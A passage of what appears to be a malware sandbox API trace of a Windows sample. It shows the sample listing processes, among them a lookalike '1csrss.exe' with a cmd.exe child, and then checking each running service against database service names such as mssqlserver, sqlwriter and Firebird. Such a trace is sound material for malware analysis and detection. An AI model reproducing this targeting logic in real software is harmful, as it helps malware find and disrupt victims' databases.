th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.320] lstrlenW (lpString="svchost.exe") returned 11 [0318.320] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.320] lstrlenW (lpString="svchost.exe") returned 11 [0318.320] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0318.321] lstrlenW (lpString="spoolsv.exe") returned 11 [0318.321] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0318.322] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0318.322] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0318.322] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0318.328] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0318.329] lstrlenW (lpString="Memory Compression") returned 18 [0318.329] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.329] lstrlenW (lpString="svchost.exe") returned 11 [0318.329] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0318.330] lstrlenW (lpString="audiodg.exe") returned 11 [0318.330] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0318.331] lstrlenW (lpString="sihost.exe") returned 10 [0318.331] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.332] lstrlenW (lpString="svchost.exe") returned 11 [0318.332] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0318.332] lstrlenW (lpString="taskhostw.exe") returned 13 [0318.332] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0318.333] lstrlenW (lpString="explorer.exe") returned 12 [0318.333] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0318.334] lstrlenW (lpString="SearchUI.exe") returned 12 [0318.334] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0318.334] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0318.334] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0318.335] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0318.335] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0318.336] lstrlenW (lpString="1csrss.exe") returned 10 [0318.336] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.336] lstrlenW (lpString="svchost.exe") returned 11 [0318.337] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0318.337] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0318.337] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.338] lstrlenW (lpString="svchost.exe") returned 11 [0318.338] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0318.339] lstrlenW (lpString="dllhost.exe") returned 11 [0318.339] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0318.339] lstrlenW (lpString="dllhost.exe") returned 11 [0318.340] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0318.340] lstrlenW (lpString="dllhost.exe") returned 11 [0318.340] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0318.341] lstrlenW (lpString="1csrss.exe") returned 10 [0318.341] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0318.342] lstrlenW (lpString="cmd.exe") returned 7 [0318.342] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0318.344] lstrlenW (lpString="conhost.exe") returned 11 [0318.344] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0318.344] CloseHandle (hObject=0x2ac) returned 1 [0318.344] Sleep (dwMilliseconds=0x1f4) [0319.401] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddd68 [0319.402] EnumServicesStatusExW (in: hSCManager=0x7ddd68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0319.402] GetLastError () returned 0xea [0319.402] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x4532890 [0319.402] EnumServicesStatusExW (in: hSCManager=0x7ddd68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4532890, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4532890, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0319.403] CloseServiceHandle (hSCObject=0x7ddd68) returned 1 [0319.403] lstrlenW (lpString="Appinfo") returned 7 [0319.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0319.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0319.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0319.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0319.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0319.403] lstrlenW (lpString="AppXSvc") returned 7 [0319.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0319.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0319.403] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0319.403] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0319.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0319.404] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0319.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0319.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0319.404] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0319.404] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0319.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0319.404] lstrlenW (lpString="Audiosrv") returned 8 [0319.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0319.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0319.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0319.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0319.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0319.519] lstrlenW (lpString="BFE") returned 3 [0319.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0319.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0319.519] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0319.519] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0319.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0319.519] lstrlenW (lpString="BITS") returned 4 [0319.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0319.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0319.519] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0319.519] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0319.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0319.519] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0319.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0319.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0319.519] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0319.519] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0319.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0319.519] lstrlenW (lpString="CDPSvc") returned 6 [0319.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0319.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0319.519] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0319.519] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0319.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0319.519] lstrlenW (lpString="ClickToRunSvc") returned 13 [0319.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0319.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0319.520] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0319.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0319.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0319.520] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0319.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0319.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0319.520] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0319.520] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0319.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0319.520] lstrlenW (lpString="CryptSvc") returned 8 [0319.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0319.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0319.520] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0319.520] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0319.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0319.520] lstrlenW (lpString="DcomLaunch") returned 10 [0319.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0319.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0319.520] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0319.520] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0319.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0319.520] lstrlenW (lpString="DeviceAssociationService") returned 24 [0319.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0319.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0319.520] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0319.520] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0319.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0319.521] lstrlenW (lpString="Dhcp") returned 4 [0319.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0319.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0319.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0319.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0319.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0319.521] lstrlenW (lpString="Dnscache") returned 8 [0319.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0319.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0319.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0319.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0319.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0319.521] lstrlenW (lpString="DoSvc") returned 5 [0319.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0319.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0319.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0319.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0319.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0319.521] lstrlenW (lpString="DPS") returned 3 [0319.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0319.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0319.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0319.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0319.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0319.521] lstrlenW (lpString="DusmSvc") returned 7 [0319.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0319.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0319.522] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0319.522] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0319.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0319.522] lstrlenW (lpString="EventLog") returned 8 [0319.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0319.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0319.522] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0319.522] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0319.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0319.522] lstrlenW (lpString="EventSystem") returned 11 [0319.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0319.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0319.522] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0319.522] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0319.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0319.522] lstrlenW (lpString="FontCache") returned 9 [0319.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0319.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0319.522] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0319.522] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0319.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0319.522] lstrlenW (lpString="gpsvc") returned 5 [0319.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0319.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0319.523] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0319.523] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0319.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0319.523] lstrlenW (lpString="iphlpsvc") returned 8 [0319.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0319.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0319.523] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0319.523] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0319.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0319.523] lstrlenW (lpString="KeyIso") returned 6 [0319.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0319.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0319.523] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0319.523] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0319.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0319.523] lstrlenW (lpString="LanmanServer") returned 12 [0319.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0319.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0319.523] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0319.523] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0319.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0319.523] lstrlenW (lpString="LanmanWorkstation") returned 17 [0319.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0319.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0319.523] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0319.524] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0319.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0319.524] lstrlenW (lpString="lfsvc") returned 5 [0319.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0319.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0319.524] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0319.524] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0319.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0319.524] lstrlenW (lpString="lmhosts") returned 7 [0319.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0319.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0319.524] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0319.524] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0319.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0319.524] lstrlenW (lpString="LSM") returned 3 [0319.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0319.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0319.524] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0319.524] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0319.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0319.524] lstrlenW (lpString="MapsBroker") returned 10 [0319.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0319.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0319.524] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0319.524] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0319.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0319.525] lstrlenW (lpString="MpsSvc") returned 6 [0319.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0319.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0319.525] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0319.525] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0319.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0319.525] lstrlenW (lpString="NcbService") returned 10 [0319.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0319.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0319.525] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0319.525] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0319.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0319.525] lstrlenW (lpString="netprofm") returned 8 [0319.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0319.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0319.525] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0319.525] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0319.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 